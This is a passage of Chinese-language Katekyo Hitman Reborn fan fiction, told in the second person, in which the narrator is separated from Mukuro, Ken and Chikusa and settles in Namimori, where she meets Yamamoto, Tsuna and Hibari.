黑手党,可是常与危险相伴的存在啊,他本身,就是危险存在。 第52章 你始终相信, 短暂的离别只是为了以后更好的相聚。 在和狱寺隼人送别后,直到犬和千种把你送走之前,你都是这么想的。 你并非对六道骸他们所做的事一无所知, 在你彻底选择他们时, 你早就做好了和骸骸、犬、千种共同承担后果的准备。 你从未想过自己会和他们离别。 骸骸、犬、千种……唯有他们, 唯有骸骸、犬和千种是不一样的! “抱歉。” 城岛犬和柿本千种不是会说谎的人, 他们也从不会骗人,所以, 面对你不安的询问时, 柿本千种和城岛犬罕见的变得沉默。 和你一样,柿本千种和城岛犬从未想过他们会和你分别, 本以为这一次骸大人能像以往一样解决掉突然冒出的复仇者,但是没想到自称为复仇者的存在实力太强大了,现在的骸大人还不是他们的对手。 几乎是瞬间,六道骸给远在另一方的城岛犬和柿本千种传递了消息。 ——尽快把你带离。 收到消息,柿本千种和城岛犬一下就明白了这次敌人的棘手, 两个人忍耐下对骸大人的担忧,快速赶往你的身边。 你的行李早就整理好了, 见你一脸茫然, 柿本千种还不知道该怎么向你解释。直到把你送到专门控制过的人身边,柿本千种才隐隐松了口气。 “春也先去日本。” 直到你坐上车,你才终于有时间听柿本千种说话,内心涌上一股不安,你茫然地探出车窗拉住柿本千种的手,“那犬和千种呢,还有骸骸……我们不是说好一起去的吗?” “抱歉。”喉结滚动,干涩的话语艰难又缓慢地从柿本千种的口中冒出, 对着你的眼睛,柿本千种无法说出欺骗你的话,就连向来大大咧咧说话直白的城岛犬都罕见的安静下来。 “啧,担心什么,我们肯定会去找你的!”最终,还是城岛犬打破了平静,他朝你笑着,小小的犬牙若隐若现,城岛犬一如既往的嚣张自信,“骸大人只是遇到了点小麻烦。” 本来对于学校和你未来暂时生活的地方还要选择斟酌,但突如其来的意外打乱了六道骸的计划,所幸最初他们搜集到的并盛资料还算令他们满意。 “别担心。”柿本千种忍耐下内心的焦躁,从刚才开始,骸大人再没给他回应,柿本千种不自觉握紧你的手,清瘦的指节泛着白,柿本千种忍耐着,缓缓推开你的手。 “我们一定会找到你的,春也。”灰蓝的眼睛透着某种执着的坚定,柿本千种一字一顿说道:“好好照顾自己。” “可别等我们找到你的时候,春也都变成脏兮兮的小花猫了。”城岛犬笑嘻嘻揉了揉你的脑袋,“放心,本大爷的生命力可是很顽强的。” 你忍了忍,还是没忍住拽住城岛犬即将离开的手,“我要留下来。” “我要和你们一起。” “我们是家人,不是吗?” 看着你渴求又坚定的眼神,城岛犬和柿本千种愣住,但很快,两个人同时反驳了你。 不可以。 柿本千种专注又认真地盯着你,像是要把你的全部都深深印在脑海。 根据骸大人之前传来的消息,复仇者们并没有想把他们全都杀死的想法,那群人似乎是想把他们关进监狱。 没有人舍得让你受牢狱之苦。甚至,柿本千种和城岛犬都隐隐庆幸骸大人没有让你参与他们无情消灭黑手党的具体活动。 春也就应该干干净净的。 更何况,那不是属于我们共同的死亡和未来,柿本千种想,这种程度的痛苦,由他们来承受就好。 “因为是家人,所以才不可以。” 可爱的、好不容易走出痛苦的、热烈天真的春也……他们的春也……要一直幸福才好。 “放心,不会让你等太久的。”柿本千种敲了敲车窗,司机瞬间明白他的意思,下一秒,你的车窗缓缓摇上,“行李里面有关于并盛的信息,春也记得看。” “不要忘记我们。” 车窗彻底摇上前,你听到柿本千种冷淡又执拗的声音,“等着我们,春也。” 第53章 司机受控于六道骸, 是可以完全信任的人。 你被司机带着一路往和城岛犬他们相反的方向走,透过车窗,景色不断倒退, 你不可抑制地变得焦躁, 你又开始咬指甲了。想起犬和千种, 忍耐着, 你发现自己完全无法彻底放下心,更何况, 你还没有看到骸骸。 脑海陷入混乱, 等回过神你发现自己的手已经放在了车门上,如果不是车上了锁, 你现在已经跳车离开了。 “kufufufu……我可没教过你,车辆行驶途中跳车啊。”忽然,熟悉的声音响起,原本混乱的灵魂得到片刻清明,你抬起头, 透过后视镜,你看到司机的右眼变成了你最熟悉的红宝石。 “骸!” “kufufu…是我。”简单附身司机的六道骸看向后视镜的你, 早在你动手之前, 他就锁上了后车的车门,“接下来,我们大概有很长一段时间不能相见,在这段期间,我会交给你一个任务。” 你只注意到了他前面一段话:“为什么不能见面,这次的敌人很棘手吗?” 六道骸微妙地沉默了下,他不是很想在你面前提起自己输掉的场面,自然转移话题, 六道骸继续往下说:“春也去了并盛可要好好替犬和千种探查那里的环境,毕竟是要居住一段时间的地方呢。” “这可是春也的第一个任务啊,可不要让我失望呢。” 这次六道骸是趁着复仇者们不注意才出来看你一眼,啧,果然,春也不能离开他啊。想到犬和千种也一起被打败了,六道骸在心里叹了口气。 复仇者吗…… “……但是,家人的话,难道不应该时时刻刻在一起吗?”你不解又难过地看向六道骸,被浓烈情感蒙蔽了双眼,你觉得自己遭受到了背叛。无论是六道骸,城岛犬还是柿本千种,隐隐都将你排斥在了这次事件之外,他们有了共同的秘密。 和以往任何一次任务都不一样,尽管曾经的那些你都没有参与,但城岛犬和柿本千种并不会隐瞒你,更何况,那是你主动不参与,而这一次,是被动。 你讨厌被动,也讨厌隐瞒。 你本来是可以忍受的,你本来是可以让犬、千种和骸骸慢慢来见你,但是,一看到六道骸,你的所有情绪顷刻间完全崩盘。 ——哪怕那只是一具被附身的躯壳。 压抑着嗓音里的颤抖,你缓缓抱紧怀里的和子。 “六道骸。” 被叫到大名的六道骸:! 他听着你压抑的哭腔,更要命的是,复仇者们处理完事情要开始来处理他了,留给他和你交谈的时间不多了。 生平第一次,六道骸感到了真正意义上的棘手。哪怕是和复仇者对打,六道骸也没这么紧张过。 如果他什么都不说直接就走的话……目光落在你身上,六道骸觉得不行。 “……不会太久。”车辆缓缓停下,六道骸转过身伸长手想要触摸你,目光触及到不属于他的身体,六道骸顿了顿,然后虚虚摸了摸和子。 红色眼睛里印着“六”,这双独属于六道骸的眼睛牢牢将你印在脑海,六道骸极轻极快地说道:“我会让犬和千种先出来陪你。” “那你呢?” “和子就是我。”六道骸的声音开始变得飘忽:“我会无处不在。” “至于剩下的,你想知道的……等你平安到达并盛,我会慢慢告诉你。” 说完,六道骸眸色幽深地看了你一眼,不等你再开口,他出手敲晕了。 “好好睡一觉吧。” 混蛋六道骸!!! 昏迷最后一秒,你努力伸出手,想要死死拽住他,但只抓住了一片空气。但是,你又感觉自己好好像确实抓住了什么。 黑暗彻底将你吞没前,你听到了一声极轻极浅的笑声。 再次醒来,你已经平安到达了并盛。睁开眼看着和过去无异的房间,你吸了吸鼻子,还没等你开始骂人,手里有东西硌着你难受。摊开掌心,你看到一只迷你三叉戟正好端端躺在上面,三个尖端恰好叉着犬、千种和骸骸三个人。 不知隔了多久,空寂没有人烟的房子里传来了一阵压抑至极的哭骂。 “那三个笨蛋……” 第54章 你不是一个会过度沉浸在糟糕情绪中的人, 既然六道骸说了自己会把一切慢慢告诉你,那么你就先等着。骸骸从来没有骗过你,但是, 不管怎样, 你绝对不会轻易原谅他们!尤其是骸骸!! 他居然敢直接把你打晕! 摸了摸后颈, 你一把抓住跳到你床上的和子。和子乖巧被你举到身前, 像是不明白发生了什么,你紧紧盯着猫脸上的每一个表情, 确认骸骸不在后, 你狠狠把脸埋入和子漆黑柔软的肚子反复蹭蹭。 很好,现在你知道了, 和子也是骸骸控制的。 “骸骸就是个大变态!”气不过,你闷闷的声音从猫肚子底下传来,和子疑惑地“咪”了声。看着满脸写着无辜的和子,你深深吸了口气。 什么嘛,会和一只猫置气的你明明也是超级无敌大白痴! 平复完情绪, 你终于有心情观察你的房子。司机不知道去了哪里,偌大的房子里只有你一个人, 还有和子。你的房间布局和从前一模一样, 你的行李在你你知道的情况下早就有人替你整理好了,不用多想,那个人一定是骸骸。 现在,除了你的房间有点家的感觉,其他的房间全都还没开始布置。 也不知道犬和千种什么时候才能来, 心里想着骸骸的话,你忍不住猜测起你们相聚的时间。最晚最晚,一年的时间差不多了吧。 忽然, 你瞥到窗台似乎有什么。你加快步伐,走近才发现那里有一本笔记本。打开一看,里面赫然就是骸骸的字迹。 “地图?”你看了眼,发现除了无关紧要的居民房,能被骸骸亲手标注出来的全是学校和商店,还有零食店和电玩城,这个字迹狂放潦草多了,一看就是犬,旁边还有注释: “快看本大爷发现了什么好玩的春也,这家店的零食超级美味吸溜(吐舌头)” “适合用餐的店铺……”这个字迹和语气,是千种! “我们暂时不在,春也要好好照顾自己,不要图省事不吃饭(眼镜警告)等我们回来,我会好好检查春也。” 眼镜警告的小图画上被人划了两道杠,旁边重新配图:凤梨警告,结合之后千种画的头顶大包的犬,你瞬间明白那是犬的杰作。这家伙,总是能触碰到骸骸的雷点,每次被教训,每次记不住。 但是,骸骸还是将这颗卡通Q版的凤梨骸小人留了下来。 你轻轻捏住纸张,里面不止有地图,还有很多留言和他们执行地点的特产,有些是你已经知道的,有些是你还不知道的。明明现在大家都不在你身边,但看着笔记,你的眼前就好像又出现了犬、千种和骸骸打闹的画面。 ——他们从未离开你。 “那就勉强原谅你们了。”你超级小声,又极不情愿地对着笔记轻声呢喃。和子端坐在你脚边,歪头看了看你,它轻轻甩了甩尾巴。 “咪呜~” 把笔记本好好收纳进你的床头柜,你扫视一圈冷冰冰的家,你决定趁犬和千种还没回家前好好装修一下你们的家,犬、千种和骸骸已经把他们对家的要求写在笔记上了,你简单记下便准备出门。 因为不确定骸骸留在你身上的幻术有没有消失,出门前,你照例戴好帽子和围巾。万幸这群笨蛋还知道把必要的大件都装入家,不然你的装修可是一件超级大工程。 “和子乖乖留在家里。” “咪呜!”和子一脸听不懂你在说什么,它倔强地爬上你的裤腿,身体力行表达着自己想要跟随你的愿望。你和和子在原地僵持半天,最终还是你拗不过和子,带上了它。 和子趾高气昂地在你帽子里猫猫蹲,只露出一双警惕的金瞳。 现在天色还不算晚,根据地图,你慢悠悠走进大商场,脑海内想着自己要买的东西,你耐心对比商品,然后在把自己选中的幸运儿放进购物车。 骸骸他们的房间只有一张简陋的吊椅,感觉他们完全没想过要和你分开睡,想到自己房间那张快有五米的大床,你若有所思。那干脆就把骸骸他们的房间改造成音乐花房吧,虽然前世的记忆淡却得差不多了,但关于种植的一切技巧你还有印象,毕竟住在出租房的时候,你也曾养过很多花花草草,只是活下来的不多。 养点菠萝和凤梨也是好的,就当睹物思人了,你愉快地在心里做下决定。 也不知道骸骸看到“自己”会不会开心呢。 骸骸给你的资金很充裕,你并不担心钱的问题,一顿买买买后,忽然,余光瞥到了什么,你眼睛一亮。 ——是凤梨玩偶!! 天呐,看那个叶子,看那个颜色,看那个似笑非笑的小眼神,完全就是骸骸本骸嘛! 你果断出手拿下了它。既然“骸骸们”都有了,那么之后可以考虑犬和千种了。但遗憾的是,你逛遍商场也没找到符合你心目中的犬和千种。 不过你完全可以自己做一个,先把准备材料都买好,至于你什么时候制作,那就是之后的事了。 看了眼时间,发现已经很晚后,你意犹未尽地停下了自己买买买的动作。结账,离场,拎着购物袋,你站在路边。 …… 糟糕了,你完全低估了自己的体力。这个时间点,并盛的车辆往来很少,打不到车的你无助看着地上很有重量的购物袋,家离商场有好长一段距离,你觉得自己不能轻松到家了。 总之,你再一次庆幸自己没有痛觉。 深吸一口气,你拎起两大袋子,慢吞吞走在路上,你总觉得自己好像听到了胳膊吱嘎吱嘎作响的声音。 这可不是你不爱惜自己的身体,你有点心虚地想,还好骸骸他们现在不在,不然他们肯定又要开始唠叨你。 啊,骸骸他们不在…… 你突然又开始难受,抬头看着开始黑下来的天空,你忽然感到茫然。这之后的很长一段时间,你真的要开始一个人生活了吗?明明这是你最初梦寐以求的事情,但等到真正降临,你发现自己并没有想象中的那么开心。 骸骸、犬、千种,你们要什么时候才能回家…… 与此同时,六道骸、城岛犬和柿本千种已经成功被关押进复仇者监狱。暂时还无法越狱的六道骸选择放任自己的意识肆意游荡。 “你好,需要帮助吗?”忽然,一道清爽的声音插入你的回忆,你抬头看去,有着黑色刺猬头的小男孩正笑容干净地望着你,见你看过来,他笑容加深:“抱歉抱歉,因为刚刚看你一直一个人站在这里。” 说完,他低头看了眼你手上相当有分量的两个袋子。 你盯着他看了一眼,虽然身高高出你很多,但看他的长相,明明也是个和你差不多大的小孩子。你谢绝了他的好意。 “诶,真的不需要吗?”听到你的拒绝,黑发小刺猬也没有露出特别的表情,他只是又上前靠近了一点,目光落在你裸露出一截的手腕,他忍不住皱了皱眉,“已经淤青了啊。” “老爸——” 黑发小刺猬像是在召唤神兽,他拔高嗓音大叫一声,一个穿着白色长外套的中年男人慢慢从后面走了出来,“什么事啊臭小子。” 显然,黑发小刺猬注意到了你刚刚在他身上停留的目光,他看出了你对他的不信任。 敏锐的小男孩。 “不,我……”对待同龄人,你稍微还能表现出友好沟通的样子,但对待身高一下高出你半截身子的成年男性,你不自觉绷紧了神经。 哪怕他只是一个笑容正常的朴实中年男人。 你下意识又把围巾往上拉了拉。 第55章 山本武悄悄注意你很久了。 小小的个子, 打扮得全副武装,是从未见过的身影。山本武眨了眨眼,看你前进的路线, 是刚刚搬进并盛町的新居民吗? 一开始, 山本武并没有多留意你, 但是他看到你驻足在原地好一会了。你低着头, 似乎苦恼于脚边颇有分量的购物袋,他都看到你帽子后边冒出了一根苦恼的毛茸茸的小尾巴了。 等等, 尾巴! 山本武不由瞪大眼睛, 思考片刻,他哒哒哒跑到你面前, 山本武向你发起了会话。 你从未见过这么热情的好心人,在你二次拒绝之前,高大的中年男人已经笑着举起了你的两大购物袋,对比起他的轻松,你低头看了眼自己的小胳膊小腿, 你放弃了挣扎。 转了一圈的目光又落回黑发小刺猬身上,见你看过来, 他笑容轻快地介绍自己: “我是山本武。” “今春也。” “春也。”山本武垂眸思考了一会, 然后恍然大悟,“你就是那个要转入并盛小学的新生啊。” 春也,山本武自然地亲昵称呼你。你敛了敛眉,有些不太习惯和这么自来熟的家伙来往。有点像不怕生的热情小狗,你在心里猜测山本武的性格,这家伙的人缘绝对很好。 是和犬截然相反的性格呢。 不过,转校生……我吗?光顾着看房子看笔记买东西,你还没来得及看自己之后的安排。 “看来你就是我未来的同学?” 注意力从你帽子后边的尾巴移开, 山本武眨了下眼睛。新同学,有些出人意料。 “嗯,一直听说我们班会来一位转学生,没想到会提前遇到呢。” 山本爸爸瞥了喋喋不休的臭小子一眼,视线落向你,山本爸爸看到了你帽子底下探出了一双机灵的猫眼。听你们说话,山本爸爸看到了你不远处的家。 你们的脚程不慢,很快,你到家了。 目光在门口、窗台、玻璃转了一圈,山本爸爸一眼就看出你是一个人居住。虽然不知道为什么你的家人放心让你一个人居住,不过出于成年人的考虑,山本爸爸什么也没说,他只是妥帖地把东西放在门前。 “说起来,小今的家和我们的寿司店靠得很近啊。”山本爸爸爽朗笑了一声,他拍了拍你脑袋上冒出的小猫脑袋,“有空的话可以来尝一下我们家的寿司,味道不会让你失望的。” 说到家里的招牌寿司,山本武笑容灿烂,他竖起大拇指,“我老爸做的寿司可是这个。” 寿司?! 你眼睛一亮,“我会去光顾的。” 安全把你送到家后,山本父子也准备离开了。你目送他们远去的背影,在你转身之际,黑发小刺猬忽然回头看了你一眼,见你还望着他,山本武朝你挥了挥手。 犹豫了下,你也举起手朝他挥了挥。 你没注意到,在你和山本武互动中,原本安静猫猫蹲在你帽子下的和子不知何时眯起了眼睛,金瞳闪过一丝红,转瞬又消失不见。 你不知道和子的异状,打开大门,你艰难把袋子全都提进了门内,深吸一口气,你双手叉腰,开始布置你的新家。 新买的猫爪地毯摆在门口,玄关摆上衣帽架,柔软的沙发铺上崭新的绒垫,你新买的凤梨小玩偶全都一股脑扔在上面…… 看到凤梨玩偶,你停下步伐,转而耐心地把它们一一摆正。 一二三四……一共九只凤梨,每一只的表情都不一样。 看着你摆出来的成果,你满意地点点头,然后再次专注你的布置。 你忙得团团转,根本顾不上和子。好在和子是只聪明的小猫,它完全不需要你过多操心,只不过在看到你摆出凤梨小玩偶们时,和子的身体顿了顿,它慢吞吞跳上沙发,通红的眼珠隐藏在漆黑一团的毛发下,和子一言不发地看你动作。 不,或者应该说是六道骸。 见你还没怎么运动就开始喘气后,六道骸眯起眼睛,从沙发上跳了下来,后腿不经意踹倒你刚刚摆得板板正正的玩偶,六道骸迈着优雅的猫步走向你。 恰好这个时候,你已经布置得差不多了。 你满意看着自己的杰作,相比你第一次醒来,现在的房子总算可以称之为家了。六道骸看你沉浸在欣赏之中,他没有出声打扰你,六道骸想知道你什么时候才能发现他的存在。 你回过神就发现和子一直跟在你屁股后边,你盯着和子的异瞳,欣喜激动一瞬间溢满你的心脏,你硬生生抑制住了想要扑上去肆意宣泄情绪的想法,你只是蹲下身摸了摸和子瘪瘪的肚子。 “和子饿了啊。”你又哒哒哒跑到和子吃饭的地方给它倒满猫粮,“和子”安静跟着你,你低头就能看到他安心待在你脚边的模样,伸手摸摸小猫脑袋,你和善道:“和子快吃吧。” 六道骸静静盯着你,没有说话,你见他没有想吃的欲望,挑了下眉,你故意从尾巴根开始一路抚摸到尾巴尖,你如愿看到六道骸炸毛地跳离你身边。憋住笑,你语气自然:“我去准备晚饭了,和子自己乖乖吃饭。” 说完,你干脆利落离开了这,徒留炸毛的六道骸站在原地思考人生。 Kufufufu……春也没有认出我…… ………… 六道骸眸色幽深地看着你离开的背影,刚刚被你摸过尾巴的战栗感似乎还停留在脊背,六道骸甩了甩还残留着你体温的尾巴,他不觉得你会认不出自己。这样想着,六道骸再次跟了上去。 猫就这点不好,视线太低。六道骸跳上柜台,他跟着你来到厨房。尾巴垫在爪子,六道骸坐在灶台前专注盯着你。 “不可以哦。”你转个身的功夫就看到了六道骸,站在小凳子上抱起六道骸,你把他放在了厨房门口,“小猫咪不可以进厨房,我可不想自己吃到的饭有猫毛呢。” 说完,你无情关上了厨房的玻璃门。 好吧,猫毛的原因有,更重要的是,你承认自己只是想要捉弄一下猫咪骸,至于生气……早在你看到骸骸平安无事地出现在你面前时,哪怕只是一只猫,你发现自己完全无法对他产生任何负面情绪。 太好了。仅剩的理智全被这句话覆盖,你想,太好了,骸骸他们还活着。 但是,你绝对不会先和骸骸说话!你在心里以犬的名义起誓!! “滋啦——”猫爪慢条斯理地划过玻璃,刺耳的声音磨得你浑身一震,你下意识回头,六道骸正隔着玻璃面无表情盯你,锋利的指甲闪着危险的光芒。 “滋啦——” 六道骸不笨,从你熟稔的动作里,他知道你认出了他,偏偏他也不说话,像条阴暗的猫猫虫,六道骸一直盯着你观察你。 坏猫!骸骸简直就是只坏猫!! 你也面无表情地打开玻璃门,蹲下身,骸骸自然跳入你的怀抱,尾巴不经意扫着你的手指,漂亮的异瞳意味不明地盯着你。 “猫咪不可以捣乱!”手指轻轻点了点猫咪骸的额头,你严肃脸。 猫咪骸眯起眼睛,他张嘴叼住你伸出的手指,然后不轻不重用你的手指磨牙,尖锐的猫牙明显能将你脆弱的皮肤咬破,你却丝毫没有恐慌害怕的情绪。 你叹了口气,然后任命抱起坏猫骸,还好你是用犬起的誓。 “骸骸。”脸颊轻轻蹭了蹭他,你的手指不自觉插入猫毛开始抚摸猫咪骸。 “哦呀,这是认出我了?”六道骸阴阳怪气地怪笑,你的胆子真是越来越肥了。 “我怎么可能认不出骸骸呢。”你吧唧一口亲上毛茸茸的猫脸,“我最喜欢的就是骸骸了,就算骸骸变成一条毛毛虫,我也会认出来。” “……巧言令色。” 六道骸诡异沉默了一秒,他伸出猫爪推拒着你还想靠过来的大脸。你也没在意骸骸小小的别扭,你亲了亲他的小猫爪,瞬间,你看到猫咪骸慢慢石化成一座雕像。 猫爪羞涩地蜷起,六道骸不自在地轻咳一声,什么阴阳怪气什么不满,在你的安抚下瞬间全都消失。 “kufufu…别以为这样我就会放你一马。” 当然,态度还是需要表明,可不能让你觉得自己能骑在他头上作威作福。 六道骸严肃着猫脸:“我交给你的任务有好好完成吗?” 你自信昂首:“当然!” 六道骸漫不经心看了你一眼,他状似不经意提起:“kufufu…说起来,今天那两个人是怎么回事?” “啊,他们啊。”你不在意地回答:“是好心帮忙拎袋子的人呢。” 得到满意的回答,六道骸暂时把无关紧要的陌生人抛到脑后。 简单的交流完,你问起了自己最在意的事情,只是话到嘴边又咽下,迟疑着,你小声问出口:“犬和千种他们还好吗?” “不用担心,有我在。”已经开始在心里计划越狱的六道骸在脑子里布下一二三…个计划,“他们都活着。” “那骸骸呢,骸骸还好吗?”见六道骸完全没有在意自己的意思,你举起猫咪骸,盯着他的猫脸,你努力从上面辨认六道骸的表情,“我好担心你。” “看到骸骸的时候,我真的很开心。骸骸能没事,真的太好了。” 你缓缓诉说着自己的思念和不安,灰蓝色的眼里完完全全倒映着六道骸现在的模样,“我好怕,好怕骸骸再也不会出现。” “不可以,不可以的,没了骸骸、犬和千种,我一个人根本没办法好好生活下去。” 因为有他们,你才慢慢找到了自己生活的意义,只有大家在一起,你才能拥有家人的感觉,你才能真真切切地感受到自己是真实生活在这个世界上的。 “这一次我可以不计较,但是下一次,不要把我一个人留下,骸骸。” 后怕、不安、隐隐的崩溃在你的不断诉说中慢慢涌现,你无法想象如果骸骸、犬和千种不在你会怎么样,你好不容易才变得像正常人一点…… 怎么可以把你丢下呢,不可以的,你绝对不允许! 就算是死亡,你们也要在一起。 六道骸注视着你的眼睛,毛茸茸的猫脸下,你看不清他的表情。忽然,六道骸笑了,猫爪触碰上你的眼角,六道骸张嘴轻轻咬了你虎口一下,淡淡的红印不深不浅地留在上面,六道骸慢条斯理地舔了舔爪子。 “不会的。” 不会把你丢下。 “我一直在你身边。” 六道骸有这个自信。 第56章 这个晚上, 你是和六道骸一起睡的。你和骸骸说了很多很多话,等到彻底睡过去后,连虫鸣声都彻底消失了。 你熟睡后, 六道骸暂时没有离开, 他被你抱在怀里, 毛茸茸的小猫脸仰头看着你放松的睡颜, 六道骸忽然伸出爪子轻轻触碰了下你的下巴。 他就这样静静看了你好一会,等到窗外响起鸟类悦耳的鸣叫, 注意到时间, 六道骸这才好似回神般收回爪子。 等到你再次醒来,六道骸已经从和子身上离开了。 昨晚熬了个大夜, 醒来的时候你的意识还不是很清醒,迷迷糊糊在和子柔软的肚子里使劲蹭蹭,你想起自己是你第一天入学的日子。 万能的骸骸已经替你打点好了,就算你不想去也没问题,本身学校的存在也不过是让你消磨时间的存在。上辈子你已经上过一次终生难忘的学校, 这辈子你更想咸鱼一点。 等到你终于准备好可以出发时,时间已经不早了。 “和子乖乖待在家里。”发现身后偷偷摸摸跟着一条小尾巴, 你蹲下身抵住和子的小猫脑袋。意识到这一次你语气的坚定, 和子不开心地甩了下尾巴,它静静看着你离开的背影,直到关上的大门彻底隔绝了你的身影,一直安安静静坐在地上的和子终于动了。 轻松跃上柜子,毛茸茸的小脑袋使劲推开窗户,和子无声跳下窗台,甩了甩尾巴,它不动声色跟在你身后。 你还不知道省心的和子做出了不省心的事, 回顾着学校的位置,你慢悠悠走在路上。这个时间点路上基本没有和你一样的小孩,也不知道异世界的学校会是什么样,而且这个世界似乎有些不科学的设定,想起骸骸、犬和千种,你还是忍不住提起了一丝期待。 心里想着事,你也就没注意路况。走过转角,猛烈的撞击瞬间将你撞到在地,你的手猛然撑上水泥地面,脑袋上的帽子摇摇欲坠。 “嘶嘶嘶痛!”轻微的呼痛声响起,对方好像还有些搞不清楚状况,你只听到他小声的嘀咕:“奇怪,好像撞到了什么东西?” “咿——!!你没事吧!!”回过神,发现自己撞到人的沢田纲吉连忙慌慌张张朝你跑去。 糟糕了,真撞到人了!! 太过焦急,一个左脚绊右脚,沢田纲吉脸上浮现绝望的表情,“小、小心啊噫呜!” 猛烈的撞击下,你还没缓过来,刚抬起头,下一秒,一个脸上写满绝望与崩溃的棕发小男孩二次创伤了你。 你结结实实摔在地面,帽子顺势滑落,因为懒惰而未扎起的长发全都从帽子里逃了出来,你茫然地看着头顶的天空,还未说些什么,下一秒,男孩惊慌得快要哭出来的声音唤醒了你。 “对不起——!!” 你终于抬眼看向了你,果不其然,和你猜想的一样,棕发小男孩眼睛湿漉漉地看着你,里面盛满了愧疚和慌乱,目光下移,他叼的面包片也掉在了地上。 不对,现在不是想这个的时候。你发现了一个更严重的问题。 ——你们对视上了。 第57章 好、好漂亮的人。 棕发小男孩像只傻掉的兔子呆呆看着你的脸, 暖棕色的瞳孔清晰倒影出你此刻的模样,你在他大大的眼睛里看到了自己凌乱不堪的发丝。见他还傻愣愣的不说话,你不怎么开心地眯起眼睛。 “你还打算在我身上呆到什么时候?” “噫!对对不起!!” 撞到了人家, 还对陌生女孩盯着看入神, 沢田纲吉简直羞愧地想要挖个地洞钻进去。 他手忙脚乱地想从你身上下来, 但显然, 四肢不协调的身体根本不支持他干脆利落地爬起来,沢田纲吉心里发慌的同时忍不住胡思乱想。怎么办, 自己绝对给你留下了不好的印象。 他真的太糟糕了。 沢田纲吉绝望地看着地上的面包片, 不仅撞到了人,还饿着肚子, 上学也彻底迟到了,他的人生简直就是一个大写的悲剧。 越想越崩溃,沢田纲吉整个人都变成了灰白的纸片人。 你还是第一次见到看到你后反应这么特别的人,尤其在对方还把明显是心声的话说出了口。 不过,四肢这么不协调的人, 你也是第一次见。你决定自力更生。 所幸这家伙体重还算轻,你干脆利落抓住他的手, 腰腹用力连带着棕发小男孩一起坐起, 对方嘴里又发出了短促而惊慌的呼声,像无措可怜的兔子。 “现在可以站起来了吗?” “可以!”沢田纲吉连忙应答,他看你慢慢弯腰捡起帽子,顺带还捡起了他掉落地面的面包片,沢田纲吉脑海里又浮现了刚刚连累你摔倒的画面,脸上止不住地冒热气,沢田纲吉刚想伸手接过自己的面包片,忽然, 他眼神一顿。 抬手间,宽大的衣袖从你手腕处滑下,你不经意裸露出来的手臂上布满了严重的擦伤,点点血色从中冒出,沢田纲吉在原地僵住一秒,反应过来后连忙拉住你。 “你受伤了?!” 听到惊呼,你这才像是反应过来一样看向自己的手臂。你本就生得白,已经开始淤青的伤痕在你身上显得更加可怖狰狞,起码沢田纲吉就被吓到了。 “医院,对,要去医院!” “没必要。”自然放下衣袖,你重新戴好帽子,相比棕发小男孩的大惊小怪,你并不觉得这些擦伤严重,不等对方再说些什么,你举起面包片在他面前晃了晃,“这个还需要吗?” “不不需要了……等等,现在根本不是说这个的时候吧?!”沢田纲吉看你慢条斯理地整理凌乱的衣服,又把掉在地上脏兮兮的面包片扔进垃圾桶,确认你就这样打算离开后,沢田纲吉连忙拉住你的衣角。 “伤口就这样放任不管的话,会发炎的,后果很严重。” 而且,也会很痛。 压低的帽檐遮挡住了你脸上的全部表情,但沢田纲吉很确定,从刚才到现在,你的嘴里都没发出一声痛呼。 是太能忍痛,还是根本不在意自己身上的伤口? 沢田纲吉不清楚,他只知道自己不能就这样放任你离开。你是因为他才摔倒受伤,如果不是他,你现在肯定还好端端地走在路上。 你并没有理会沢田纲吉口中的严重后果,伤口发炎?那都是正常人才会有的症状,你又不是正常人。 但沢田纲吉显然不这么想,他一直跟在你身旁念叨个不停,也不知道他小小的身体哪有那么多话要说。 “而且,如果你的家人知道了,一定会很担心的。” 满不在乎的脚步一顿,你承认,这句话戳到你了。要是犬知道,一定又会叭叭叭说个不停。想到犬,你扭头看向棕发小男孩,“不用去医院。” “你是并盛小学的学生吧。” “诶?”提到并盛小学,沢田纲吉声音小了下去,神情也有些不自然,“嗯…嗯是是的。” 太过担心你,回过神,沢田纲吉后知后觉意识到了自己的存在。是你看向他平静的眼神给了自己某种安心的幻想,小小的沢田纲吉紧张不安地捏紧书包背带。 “那你直接带我去学校的医务室。” 沢田纲吉愣了一下,忽然,他想起来自己无意听到同学讨论过他们班上会来一位转学生。等等,难不成那个人其实就是你!! “是我。” 他问出来了?!! 看着沢田纲吉惊慌的表情,想到这个世界的不科学,你忽然恶趣味地笑了下,“其实我有读心术哦。” 在棕发小男孩愈发惊恐的表情下,你慢悠悠补充了句:“所以,你心里想什么我都知道呢。” “噫,骗人的吧!” 看着棕发小男孩明显信了的表情,你丝毫没有欺骗小朋友的愧疚感。 你往前走,发现身边没有跟上来的脚步声,你回过头,棕发小男孩还在原地怀疑人生。 “不走吗?你要迟到了哦。” 这下,沢田纲吉终于知道自己心里一直隐隐的不安来自哪儿了。 “完蛋了——!!” 沢田纲吉刚想崩溃地开始奔跑,抬头就看到你还在不紧不慢地往学校的方向走着,想起你还受着伤,咬了咬牙,沢田纲吉还是选择和你一起慢慢走。 希望他们到的时候云雀学长已经离开了。 …… 希望落空。棕发小男孩化为无声惊恐尖叫鸡。 “那群人是什么?不良吗?”你惊讶地看着学校大门口的一群飞机头,异世界的非主流有亿点点多啊,而且大部分还都是五颜六色的头发。想起你接触过的几个人,你忍不住看向棕发小男孩。 眼睛的颜色也都很独特呢。 总感觉自己之后的学校生涯不会平静啊,看着缓缓朝你走来的黑发小男孩,隐约间,你似乎还听到了古怪的钢琴声。 哇哦,你面无表情地感叹。 “云雀学长是并盛的风纪委员长。”在众人无知无觉的时候,云雀学长早就悄悄统治了并盛,包括学校。不,或者应该说是正大光明。 沢田纲吉小声向你解释着云雀恭弥的存在,他是所有小朋友眼里的大魔王,可能也包括大人。 说话间,这位并盛的王——云雀恭弥,年仅8岁的小朋友,眯起眼睛站在了你们面前。 “你们两个,迟到了。” 没等你说话,你看到那个胆子像兔子一样小的棕发小男孩颤颤巍巍站在了你身前,明明自己紧张的身体都在颤抖。 “她是今天的转学生,路上我不小心把她撞倒了,所以才耽误了点时间。”沢田纲吉磕磕绊绊解释着你们迟到的原因,云雀恭弥眯起眼睛,视线扫过弱小的小动物,然后落到了你身上,灰蓝色的凤眼映着和他相似的蓝色,云雀恭弥轻哼一声收起露出袖口的浮萍拐。 新来的草食动物。 目光在你帽子上短暂停留一秒,云雀恭弥看了眼你脏兮兮的衣角和手腕上不经意露出来的伤口,他转身离开,校服披风在半空中划过一道凌厉的弧度。 见云雀学长终于离开,勇敢站在你面前的沢田纲吉腿一软扑倒在地,“活过来了。” 棕发小男孩露出劫后余生的表情。 